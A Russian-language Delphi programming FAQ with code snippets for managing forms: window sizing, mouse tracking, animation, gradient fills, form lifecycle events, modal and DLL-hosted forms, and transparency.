Как отправить сообщение сразу всем элементам управления формы?
Как сообщить что-нибудь всем формам моего приложения?


Общие вопросы

Cодержание раздела:

Как установить минимальный размер окна
Как узнать, находится ли мышка на форме?
Как сделать анимацию минимизации формы?
Как иммитировать появление формы как нового приложения?
Как поместить курсор мышки в нужное место на форме?
Выводим цветной текст на форме под любым углом
Как изменить оконную процедуру для TForm?
Как среагировать на минимизацию-максимизацию формы перед тем как произойдет изменение?
Мерцание формы
Привлечение внимания к окну
Как узнать форма активна или нет? New!
Как сделать форму всегда позади всех окон? New!
Наполовину активное окно New!
Пример градиентной заливки формы New!


Как установить минимальный размер окна?

Необходимо объявить обработчик события для WM_GETMINMAXINFO:

...
private
  procedure WMGetMinMaxInfo(var Message : TWMGetMinMaxInfo);
  message WM_GETMINMAXINFO;

А вот как выглядит сам обработчик:

procedure TForm1.WMGetMinMaxInfo(var Message : TWMGetMinMaxInfo);
begin
  Message.MinMaxInfo^.ptMinTrackSize := Point(Width, Height);
  Message.MinMaxInfo^.ptMaxTrackSize := Point(Width, Height);
end;

Взято из http://forum.sources.ru

Примечание от Vit:

Начиная с Дельфи 5 появилось удобное свойство Constrains - специально для ограничесния минимальных и максимальных размеров...


Как узнать, находится ли мышка на форме?

Для этого можно воспользоваться API функцией GetCapture().

procedure TForm1.FormDeactivate(Sender: TObject);
begin
  ReleaseCapture;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  If GetCapture = 0 then
    SetCapture(Form1.Handle);
  if PtInRect(Rect(Form1.Left,
                   Form1.Top,
                   Form1.Left + Form1.Width,
                   Form1.Top + Form1.Height),
                   ClientToScreen(Point(x, y))) then
  Form1.Caption := 'Мышка на форме' else
  Form1.Caption := 'Мышка за пределами формы';
end;

Взято из http://forum.sources.ru


Как сделать анимацию минимизации формы?

In FormShow:

var
  RecS, RecL: TRect;
begin
  RecS := Rect(Screen.Width, Screen.Height, Screen.Width, Screen.Height);
  RecL := ThisForm.BoundsRect;
  DrawAnimatedRects(GetDesktopWindow, IDANI_CAPTION, RecS, RecL);
  { ... }
end;

In FormHide:

var
  RecS, RecL: TRect;
begin
  HideTimer.Enabled := False;
  RecS := Rect(Screen.Width, Screen.Height, Screen.Width, Screen.Height);
  RecL := ThisForm.BoundsRect;
  DrawAnimatedRects(GetDesktopWindow, IDANI_CAPTION, RecL, RecS);
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как иммитировать появление формы как нового приложения?

How i can create a form and this form stay in another icon in task bar ? (Looks like a new aplication).

In private clause:

type
  TForm1 = class(TForm)
  private
    { Private declarations }
    procedure CreateParams(var Params: TCreateParams); override;

And, in the implementation:

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with params do
    ExStyle := ExStyle or WS_EX_APPWINDOW;
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как поместить курсор мышки в нужное место на форме?

uses
  Windows;

procedure PlaceMyMouse(Sender: TForm; X, Y: word);
var
  MyPoint: TPoint;
begin
  MyPoint := Sender.ClientToScreen(Point(X, Y));
  SetCursorPos(MyPoint.X, MyPoint.Y);
end;

Взято из http://forum.sources.ru


Выводим цветной текст на форме под любым углом

Автор: Lutfi Baran

Пример демонстрирует вывод теста случайным образом на форме под определённым углом. Добавляем в форму компонент TButton и в событие OnClick следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
  logfont: TLogFont;
  font: Thandle;
  count: integer;
begin
  LogFont.lfheight := 20;
  logfont.lfwidth := 20;
  logfont.lfweight := 750;
  LogFont.lfEscapement := -200;
  logfont.lfcharset := 1;
  logfont.lfoutprecision := out_tt_precis;
  logfont.lfquality := draft_quality;
  logfont.lfpitchandfamily := FF_Modern;
  font := createfontindirect(logfont);
  Selectobject(Form1.canvas.handle, font);
  SetTextColor(Form1.canvas.handle, rgb(0, 0, 200));
  SetBKmode(Form1.canvas.handle, transparent);
  for count := 1 to 100 do
  begin
    canvas.textout(Random(form1.width), Random(form1.height), 'Hello');
    SetTextColor(form1.canvas.handle, rgb(Random(255), Random(255), Random
      (255)));
  end;
  Deleteobject(font);
end;

Взято из http://forum.sources.ru


Как изменить оконную процедуру для TForm?

Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для того чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог.

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure WndProc(var Message: TMessage); override;
    procedure Button1Click(Sender: TObject);
  private
  {Private declarations}
  public
  {Public declarations}
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WndProc(var Message: TMessage);
begin
  if Message.Msg = WM_CANCELMODE then
    begin
      Form1.Caption := 'A dialog or message box has popped up';
    end
  else
    inherited // <- остальное сделает родительская процедура
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('Test Message');
end;


Как среагировать на минимизацию-максимизацию формы перед тем как произойдет изменение?

Перехватывать сообщение WM_SYSCOMMAND. Если это сообщение говорит о
минимизации или максимизации формы - пищит динамик.

type
  TForm1 = class(TForm)
  private
  {Private declarations}
    procedure WMSysCommand(var Msg: TWMSysCommand);
      message WM_SYSCOMMAND;
  public
  {Public declarations}
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMSysCommand;
begin
  if (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then
    MessageBeep(0)
  else
    inherited;
end;


Мерцание формы

Как бы это осуществить рисование в окне без его дурацкого мерцания и без помощи создания виртуального изображения в памяти? WM_SETREDRAW здесь поможет?

Попробуйте этот код. Даже если некоторые компоненты имеют пару BeginUpdate / EndUpdate, то для таких компонентов, как TTreeView, интенсивное рисование может послужить причиной перемещения полосы прокрутки и появления других "барабашек". В таких ситуаций вместо дескриптора элемента управления используйте родительский дескриптор.

procedure BeginScreenUpdate(hwnd: THandle);
begin
  if (hwnd = 0) then
    hwnd := Application.MainForm.Handle;
  SendMessage(hwnd, WM_SETREDRAW, 0, 0);
end;

procedure EndScreenUpdate(hwnd: THandle; erase: Boolean);
begin
  if (hwnd = 0) then
    hwnd := Application.MainForm.Handle;
  SendMessage(hwnd, WM_SETREDRAW, 1, 0);
  RedrawWindow(hwnd, nil, 0, DW_FRAME + RDW_INVALIDATE +
    RDW_ALLCHILDREN + RDW_NOINTERNALPAINT);
  if (erase) then
    Windows.InvalidateRect(hwnd, nil, True);
end;

Взято с http://delphiworld.narod.ru


Привлечение внимания к окну

Часто возникает проблема - в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка ...). Это легко сделать, используя команду API FlashWindow:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 FlashWindow(Handle,true);
end;

Источник: http://dmitry9.nm.ru/info/


Как узнать форма активна или нет?

type
   //...
  private
    { Private declarations }
    procedure WMNCACTIVATE(var M: TWMNCACTIVATE); message WM_NCACTIVATE;
  end;

implementation

//...

procedure TForm1.WMNCACTIVATE(var M: TWMNCACTIVATE);
begin
  inherited;
  if M.Active then
    caption:='Form active'
  else caption:='Form not active' ;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать форму всегда позади всех окон?

protected
  procedure CreateParams(var Params: TCreateParams); override;

//...

procedure TForm.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  if Assigned(Application.MainForm) then
  begin
    Params.WndParent := GetDesktopWindow;
    Params.Style := WS_CHILD;
  end;
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Наполовину активное окно

Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить в false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными! Но был найден способ избежать этого!

private
  { Private declarations }
  procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;

implementation
{$R *.DFM}

procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
  if M.Result = htClient then
    M.Result := htCaption;
end;

Взято с http://delphiworld.narod.ru


Пример градиентной заливки формы

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем

(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты, потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

{Считается, что координаты первого цвета
равны (A1, A2, A3), а второго (B1, B2, B3)
Кроме того, линия начинается в координатах
(X1,Y1), а заканчивается в (X2,Y1)}

var
h, i: integer;
begin
h:=X2-X1-1;
for i:=0 to h do
with PaintBox1.Canvas do
begin
Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
Rectangle(I,Y1,I+1,Y1);
end;
end.

Mischka
Цитата
feriman, 13.09.04, 15:14
Подкиньте примерчик градиентной заливки формы.

Вот посмотри:
unit Graph32;

interface

uses
 Windows, Graphics;

type
 TRGB = record
  B, G, R: byte;
 end;

 ARGB = array [0..1] of TRGB;

 PARGB = ^ARGB;

procedure HGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
procedure VGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
procedure RGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);

var
 Bitmap: TBitmap;
 p: PARGB;

implementation

procedure HGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
var
 x, y, c1, c2, r1, g1, b1: integer;
 dr, dg, db: real;
begin
 Bitmap.Width:=abs(X1-X2);
 Bitmap.Height:=abs(Y1-Y2);
 c1:=ColorToRGB(Color1);
 r1:=getRValue(c1);
 g1:=getGValue(c1);
 b1:=getBValue(c1);
 c2:=ColorToRGB(Color2);
 dr:=(getRValue(c2)-r1)/Bitmap.Width;
 dg:=(getGValue(c2)-g1)/Bitmap.Width;
 db:=(getBValue(c2)-b1)/Bitmap.Width;
 for y:=0 to Bitmap.Height-1 do
 begin
  p:=Bitmap.ScanLine[y];
  for x:=0 to Bitmap.Width-1 do
  begin
   p[x].R:=round(r1+x*dr);
   p[x].G:=round(g1+x*dg);
   p[x].B:=round(b1+x*db)
  end
 end;
 Canvas.Draw(X1, Y1, Bitmap)
end;

procedure VGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
var
 x, y, c1, c2, r1, g1, b1: integer;
 dr, dg, db: real;
begin
 Bitmap.Width:=abs(X1-X2);
 Bitmap.Height:=abs(Y1-Y2);
 c1:=ColorToRGB(Color1);
 r1:=getRValue(c1);
 g1:=getGValue(c1);
 b1:=getBValue(c1);
 c2:=ColorToRGB(Color2);
 dr:=(getRValue(c2)-r1)/Bitmap.Height;
 dg:=(getGValue(c2)-g1)/Bitmap.Height;
 db:=(getBValue(c2)-b1)/Bitmap.Height;
 for y:=0 to Bitmap.Height-1 do
 begin
  p:=Bitmap.ScanLine[y];
  for x:=0 to Bitmap.Width-1 do
  begin
   p[x].R:=round(r1+y*dr);
   p[x].G:=round(g1+y*dg);
   p[x].B:=round(b1+y*db)
  end
 end;
 Canvas.Draw(X1, Y1, Bitmap)
end;

procedure RGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
var
 x, y, c1, c2, r1, g1, b1: integer;
 dr, dg, db, d: real;
begin
 Bitmap.Width:=abs(X1-X2);
 Bitmap.Height:=abs(Y1-Y2);
 c1:=ColorToRGB(Color1);
 r1:=getRValue(c1);
 g1:=getGValue(c1);
 b1:=getBValue(c1);
 c2:=ColorToRGB(Color2);
 d:=sqrt(Bitmap.Width*Bitmap.Width+Bitmap.Height*Bitmap.Height)/2;
 dr:=(getRValue(c2)-r1)/d;
 dg:=(getGValue(c2)-g1)/d;
 db:=(getBValue(c2)-b1)/d;
 for y:=0 to Bitmap.Height-1 do
 begin
  p:=Bitmap.ScanLine[y];
  for x:=0 to Bitmap.Width-1 do
  begin
   d:=sqrt(((Bitmap.Width-2*x)*(Bitmap.Width-2*x)+(Bitmap.Height-2*y)*(Bitmap.Height-2*y))/4);
   p[x].R:=round(r1+d*dr);
   p[x].G:=round(g1+d*dg);
   p[x].B:=round(b1+d*db)
  end
 end;
 Canvas.Draw(X1, Y1, Bitmap)
end;

initialization

begin
 Bitmap:=TBitmap.create();
 Bitmap.PixelFormat:=pf24bit
end;

finalization

begin
 Bitmap.free()
end;

end.

Автор: Kostas

unit Graph32;

interface

uses
 Windows, Graphics;

type
 TRGB = record
  B, G, R: byte;
 end;

 ARGB = array [0..1] of TRGB;

 PARGB = ^ARGB;

procedure HGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
procedure VGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
procedure RGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);

var
 Bitmap: TBitmap;
 p: PARGB;

implementation

procedure HGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
var
 x, y, c1, c2, r1, g1, b1: integer;
 dr, dg, db: real;
begin
 Bitmap.Width:=abs(X1-X2);
 Bitmap.Height:=abs(Y1-Y2);
 c1:=ColorToRGB(Color1);
 r1:=getRValue(c1);
 g1:=getGValue(c1);
 b1:=getBValue(c1);
 c2:=ColorToRGB(Color2);
 dr:=(getRValue(c2)-r1)/Bitmap.Width;
 dg:=(getGValue(c2)-g1)/Bitmap.Width;
 db:=(getBValue(c2)-b1)/Bitmap.Width;
 for y:=0 to Bitmap.Height-1 do
 begin
  p:=Bitmap.ScanLine[y];
  for x:=0 to Bitmap.Width-1 do
  begin
   p[x].R:=round(r1+x*dr);
   p[x].G:=round(g1+x*dg);
   p[x].B:=round(b1+x*db)
  end
 end;
 Canvas.Draw(X1, Y1, Bitmap)
end;

procedure VGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
var
 x, y, c1, c2, r1, g1, b1: integer;
 dr, dg, db: real;
begin
 Bitmap.Width:=abs(X1-X2);
 Bitmap.Height:=abs(Y1-Y2);
 c1:=ColorToRGB(Color1);
 r1:=getRValue(c1);
 g1:=getGValue(c1);
 b1:=getBValue(c1);
 c2:=ColorToRGB(Color2);
 dr:=(getRValue(c2)-r1)/Bitmap.Height;
 dg:=(getGValue(c2)-g1)/Bitmap.Height;
 db:=(getBValue(c2)-b1)/Bitmap.Height;
 for y:=0 to Bitmap.Height-1 do
 begin
  p:=Bitmap.ScanLine[y];
  for x:=0 to Bitmap.Width-1 do
  begin
   p[x].R:=round(r1+y*dr);
   p[x].G:=round(g1+y*dg);
   p[x].B:=round(b1+y*db)
  end
 end;
 Canvas.Draw(X1, Y1, Bitmap)
end;

procedure RGradientRect(Canvas: TCanvas; X1, Y1, X2, Y2: integer; Color1, Color2: TColor);
var
 x, y, c1, c2, r1, g1, b1: integer;
 dr, dg, db, d: real;
begin
 Bitmap.Width:=abs(X1-X2);
 Bitmap.Height:=abs(Y1-Y2);
 c1:=ColorToRGB(Color1);
 r1:=getRValue(c1);
 g1:=getGValue(c1);
 b1:=getBValue(c1);
 c2:=ColorToRGB(Color2);
 d:=sqrt(Bitmap.Width*Bitmap.Width+Bitmap.Height*Bitmap.Height)/2;
 dr:=(getRValue(c2)-r1)/d;
 dg:=(getGValue(c2)-g1)/d;
 db:=(getBValue(c2)-b1)/d;
 for y:=0 to Bitmap.Height-1 do
 begin
  p:=Bitmap.ScanLine[y];
  for x:=0 to Bitmap.Width-1 do
  begin
   d:=sqrt(((Bitmap.Width-2*x)*(Bitmap.Width-2*x)+(Bitmap.Height-2*y)*(Bitmap.Height-2*y))/4);
   p[x].R:=round(r1+d*dr);
   p[x].G:=round(g1+d*dg);
   p[x].B:=round(b1+d*db)
  end
 end;
 Canvas.Draw(X1, Y1, Bitmap)
end;

initialization

begin
 Bitmap:=TBitmap.create();
 Bitmap.PixelFormat:=pf24bit
end;

finalization

begin
 Bitmap.free()
end;

end.

Автор Mischka

Еще, как вариант, воспользоваться стандартной функцией GradientFill:

uses ..., Math;

procedure TForm1.Button1Click(Sender: TObject);

  function GetWRValue(Color: TColor): word;
  begin
   Result := Round(GetRValue(Color) /255 * 65535)
  end;

  function GetWGValue(Color: TColor): word;
  begin
   Result := Round(GetGValue(Color) / 255 * 65535)
  end;

  function GetWBValue(Color: TColor): word;
  begin
   Result := Round(GetBValue(Color) / 255 * 65535)
  end;

  type
   TRIVERTEX_NEW = packed record
     X,Y:Integer;
     R,G,B,Alpha: Word;
   end;
   TGradDirect = (gdVert, gdHorz);

const
  FColorBegin = clRed; // Начальный цвет
  FColorEnd = clBlue; // Конечный цвет
  FGradDirect = gdHorz; // Направление заливки

var
  _vertex: array [0..1] of TRIVERTEX_NEW;
  _rect  : _GRADIENT_RECT;
  _r     : TRect;
begin
  FillChar(_vertex, SizeOf(TRIVERTEX_NEW)*2, 0);
  _r := GetClientRect;
  AdjustClientRect(_r);
  _vertex[0].x    := _r.Left;
  _vertex[0].y    := _r.Top;
  _vertex[0].R    := GetWRValue(FColorBegin);
  _vertex[0].G    := GetWGValue(FColorBegin);
  _vertex[0].B    := GetWBValue(FColorBegin);
  _vertex[1].x    := _r.Right;
  _vertex[1].y    := _r.Bottom;
  _vertex[1].R    := GetWRValue(FColorEnd);
  _vertex[1].G    := GetWGValue(FColorEnd);
  _vertex[1].B    := GetWBValue(FColorEnd);
  _rect.UpperLeft := 0;
  _rect.LowerRight:= 1;
  GradientFill(Canvas.Handle, PTriVertex(@_vertex)^, 2, @_rect, 1,
               IfThen(FGradDirect = gdVert, GRADIENT_FILL_RECT_V, GRADIENT_FILL_RECT_H));
  Canvas.Brush.Style := bsClear;
  Canvas.Pen.Color   := Font.Color;
  Canvas.Font.Assign(Font);
  Canvas.TextOut(Round(Width/2 - Canvas.TextWidth(Text)/2),
                 Round(Height/2 - Canvas.TextHeight(Text)/2), Text)
end;

Автор Rouse_
Взято из http://forum.sources.ru


Создание, закрытие и вызов форм

Cодержание раздела:

Рождение, жизнь и гибель формы.
Как сделать, чтобы форма закрывалась при нажатии Esc?
Как создать и вызвать модальную форму?
Как использовать форму из DLL
Можно ли динамически менять какая форма считается главной в приложении во время работы программы?
Как сделать окно системно-модальным?
Можно ли создать форму, которая получает дополнительные параметры в методе Сreate?
В каком порядке происходят события при создании и показе окна?
Необходимо, чтобы дочерняя форма не активизировала родительское окно
Условие создания главной формы New!
Форма изменяющая размеры без заголовка New!
Как сделать плавное закрытие окна ? New!


Рождение, жизнь и гибель формы.

Перевод одноимённой статьи с сайта delphi.about.com )

В Windows основной элемент пользовательского интерфейса - форма. В Delphi каждый проект имеет по крайней мере одно окно - главное окно приложения. Все окна в Delphi основаны на объекте TForm. В данной статье мы рассмотрим основные события учавствующие в "жизни формы".

Форма
Формы имеют свои свойства, события и методы, при помощи которых Вы можете управлять видом и поведением формы. Форма, это обычный компонент Delphi, но в отличие от других, её нет на панели компонентов. Обычно форма создаётся при создании нового проекта (File | New Application). Вновь созданная форма будет главной формой приложения.

Дополнительные формы в проекте создаются через File | New Form. Так же существуют и другие способы создания форм, но здесь мы не будем рассматривать их...

Как и любой другой компонент (объект) форма имеет свои методы и реагирует на события. Давайте рассмотрим некоторые из этих событий...

Рождение

OnCreate -> OnShow -> OnActivate-> OnPaint -> OnResize -> OnPaint ...

OnCreate
Событие OnCreate возникает при создании TForm и только один раз. При создании формы (у каторой свойство Visible установлено в True), события произойдут в следующем порядке: OnCreate, OnShow, OnActivate, OnPaint.
В обработчике события OnCreate можно сделать какие-либо инициализационные действия, однако, любые объекты созданные в OnCreate будут уничтожены в событии OnDestroy.

OnShow
Это событие генерируется, когда форма станет видимой. OnShow вызывается сразу перед тем, как форма станет видимой. Это событие случается, если установить свойство формы Visible в True, либо при вызове методов Show или ShowModal.

OnActivate
Это событие генерируется, когда форма становится активной, тоесть когда форма получает фокус ввода. Это событие можно использовать для того, чтобы сменить элемент формы который должен получить фокус.

OnPaint, OnResize
Эти события вызываются каждый раз, когда форма изначально создаётся. При этом OnPaint вызывается каждый раз, когда какому-нибудь элементу формы необходимо перерисоваться (это событие можно использовать, если необходимо при этом рисовать на форме что-то особенное).

Жизнь
Когда форма создана и все её элементы ждут своих событий, чтобы обрабатывать их, жизнь формы продолжается до тех пор, пока кто-нибудь не нажмёт крестик в верхнем правом углу формы!

Уничтожение
При уничтожении формы, события генерируются в следующем порядке:

... OnCloseQuery -> OnClose-> OnDeactivate -> OnHide -> OnDestroy

OnCloseQuery
Если мы попытаемся закрыть форму при помощи метода Close либо другим доступным способом (Alt+F4 либо через системное меню), то сгенерируется событие OnCloseQuery. Таким образом, это событие можно использовать, чтобы предотвратить закрытие формы. Обычно, событие OnCloseQuery используется для того, чтобы спросить пользователя - уверен ли он (возможно в приложении остались несохранённые данные).

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 if MessageDlg('Really close this window?', mtConfirmation, [mbOk, mbCancel], 0) = mrCancel then
   CanClose := False;
end;

Обработчик события OnCloseQuery содержит переменную CanClose, которая определяет, можно ли форме закрыться. Изначальное значение этой переменной True. Однако в обработчике OnCloseQuery можно установить возвращаемое значение CloseQuery в False, чтобы прервать выполнение метода Close.

OnClose
Если OnCloseQuery вернул CanClose=True (что указывает на то, что форма должна быть закрыта), то будет будет сгенерировано событие OnClose.
Событие OnClose даёт последний шанс, чтобы предотвратить закрытие формы. Обработчик OnClose имеет параметр Action со следующими четырьмя возможными значениями:
caNone. Форме не разрешено закрыться. Всё равно, что мы установим CanClose в False в OnCloseQuery.
caHide. Вместо закрытия, форма будет скрыта.
caFree. Форма будет закрыта, и занятые ей ресурсы будут освобождены.
caMinimize. Вместо закрытия, форма будет минимизирована. Это значение устанавливается поумолчанию у дочерних форм MDI.

Замечание: Когда пользователь шутдаунит Windows, то будет вызвано OnCloseQuery, а не OnClose. Если Вы не хотите, чтобы Windows завершила свою работу, то поместите свой код в обработчик события OnCloseQuery, хотя CanClose=False не сделает, того, что надо здесь.

OnDestroy
После того, как метод OnClose будет обработан и форма будет закрыта, то будет вызвано событие OnDestroy. В OnCreate обычно делаются действия, противоположные тем, которые проделывались в OnCreate, то есть уничтожение созданных объектов и освобождение выделенной памяти.

Естевственно, что когда главная форма проекта будет закрыто, то приложение будет завершено.

Взято из http://forum.sources.ru


Как сделать, чтобы форма закрывалась при нажатии Esc?

Для начала необходимо установить свойство формы KeyPreview в True. А потом уже можно отлавливать "Esc":

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.KeyPreview := True;
end;

procedure TForm1.FormKeyPress
  (Sender: TObject; var Key: Char);
begin
  if key = #27 then Close;
end;

Взято из http://forum.sources.ru


Как создать и вызвать модальную форму?

ModalForm := TModalForm.Create(Self);
try
  ModalForm.ShowModal;
finally
  ModalForm.Free;
end;


Как использовать форму из DLL

library Form;
uses
  Classes,
  Unit1 in 'Unit1.pas' {Form1};
exports
  CreateMyForm,
  DestroyMyForm;
end.

Это его Unit1:

unit Unit1;

interface

// раздел uses и определение класса Form1

  procedure CreateMyForm(AppHandle: THandle); stdcall;
  procedure DestroyMyForm; stdcall;

implementation
{$R *.DFM}

procedure CreateMyForm(AppHandle: THandle);
begin
  Application.Handle := AppHandle;
  Form1 := TForm1.Create(Application);
  Form1.Show
end;

procedure DestroyMyForm;
begin
  Form1.Free;
end;

end.

Это UnitCall вызывающего EXE-шника:

unit
  UnitCall;

interface

// раздел uses и определение класса Form1

  procedure CreateMyForm(AppHandle: THandle); stdcall; external 'Form.dll';
  procedure DestroyMyForm; stdcall; external 'Form.dll';

implementation
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  CreateMyForm(Application.Handle);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  DestroyMyForm;
end;

end.

Взято с http://delphiworld.narod.ru


Можно ли динамически менять какая форма считается главной в приложении во время работы программы?

Можно, но только во время загрузки приложения. Чтобы сделать это выберите "View->Project Source" и измените код инициализации приложения, так что порядок создания форм зависил от какого-то условия.
Примечание: Вам придется редактировать этот код, если Вы добавите в приложение новые формы.

begin
  Application.Initialize;
  if < какое - то условие > then
    begin
      Application.CreateForm(TForm1, Form1);
      Application.CreateForm(TForm2, Form2);
    end
  else
    begin
      Application.CreateForm(TForm2, Form2);
      Application.CreateForm(TForm1, Form1);
    end;
end.
Application.Run;


Как сделать окно системно-модальным?

Используйте функцию Windows API SetSysModalWindow(). Код ниже демонстрирует технологию работы с этой функцией. В любой момент времени может быть возможен только один модально-системны диалог, чей дескриптор возвращается функцией SetSysModalWindow(). Вам необходимо запомнить возвращаемую функцией величину для того, чтобы завершить показ диалога таким образом. Вот как примерно это должно выглядеть:

procedure TForm1.Button1Click(Sender: TObject);
var
  x: word ;
begin
  x := SetSysModalWindow(AboutBox.handle) ;
  AboutBox.showmodal ;
  SetSysModalWindow(x) ;
end;

Взято с http://delphiworld.narod.ru


Можно ли создать форму, которая получает дополнительные параметры в методе Сreate?

Просто замените конструктор Create класса Вашей формы.

unit Unit2;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm2 = class(TForm)
  private
  {Private declarations}
  public
    constructor CreateWithCaption(aOwner: TComponent; aCaption: string);
  {Public declarations}
  end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

constructor TForm2.CreateWithCaption(aOwner: TComponent; aCaption: string);
begin
  Create(aOwner);
  Caption := aCaption;
end;

uses Unit2;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Unit2.Form2 := Unit2.TForm2.CreateWithCaption(Application, 'My Caption');
  Unit2.Form2.Show;
end;


В каком порядке происходят события при создании и показе окна?

При создании окна обработчики событий выполняются в следующем порядке:

OnCreate
OnShow
OnPaint
OnActivate
OnResize
OnPaint (снова)
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Необходимо, чтобы дочерняя форма не активизировала родительское окно

Сделайте родительским окном рабочий стол.

procedure TForm2.CreateParams(VAR Params: TCreateParams);
begin
  Inherited CreateParams(Params);
  Params.WndParent := GetDesktopWindow;
end;


Условие создания главной формы

Существует ли в Delphi возможность создавать главную форму по условию? Я хочу использовать условие IF (в зависимости от передаваемого параметра) для того, чтобы определить какая форма будет главной при старте приложения. Фактически "другую" форму НЕ нужно будет загружать.

Хитрость здесь заключается в том, что мы предоставляем компилятору весь необходимый для создания форм код, но не допускаем его выполнения (IF FALSE THEN), при этом компилятор не ругается, а мы тем временем (во время выполнения приложения) выбираем и создаем главную форму. Вот пример кода, измененный .DPR-файл, который при старте случайным образом выбирает из друх форм главную:

begin
  if FALSE then
  begin
    Application.CreateForm(TForm1, Form1);
    Application.CreateForm(TForm2, Form2);
  end;
  Randomize;
  if Random < 0.5 then
    Application.CreateForm(TForm1, Form1)
  else
    Application.CreateForm(TForm2, Form2);
  Application.Run;
end.

Взято с http://delphiworld.narod.ru

Пара "подходящих" для CreateForm форм заключено в никогда не выполнимый блок, тем самым приводя компилятор в состояние свинячего восторга.


Форма изменяющая размеры без заголовка

Форма изменяющая размеры без заголовка.
Нужно выставить свойство формы BorderStyle := bsNone;

type
  TForm1 = class(TForm)

  ...

  protected
    procedure CreateParams(var Params: TCreateParams); override;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited;
  Params.Style := (Params.Style or WS_THICKFRAME);
end;

Автор feriman
Взято из http://forum.sources.ru


Как сделать плавное закрытие окна ?

Работает в 2k/XP:

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 AnimateWindow(Handle, 500, AW_HIDE or AW_BLEND);
end;

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Прозрачность формы

Cодержание раздела:

Прозрачность в Delphi 6
Как сделать прозрачное окно родными средствами Windows2000? Updated!

См. также статьи в других разделах:
Как правильно работать с прозрачными окнами?
Как поместить прозрачную фоновую каринку на компонент CoolBar?
Если прозрачная часть glyph'а становится видной...
Каким образом задать прозрачный цвет иконки?
Как разместить прозрачную надпись на TBitmap?
Как нарисовать Bitmap с прозрачностью


Прозрачность в Delphi 6

Перевод одноимённой статьи с сайта delphi.about.com )

В Delphi 6 разработчикам Windows-приложений доступна одна из замечательных возможностей создавать (полу)прозрачные формы (окна). В Delphi 6 класс TForm поддерживает формы со слоями, которые имеют свойства AlphaBlend, AlphaBlendValue, TransparentColor, и TransparentColorValue.

Прозрачность в форме означает то, что пользователь может видить то, что находится позати формы.

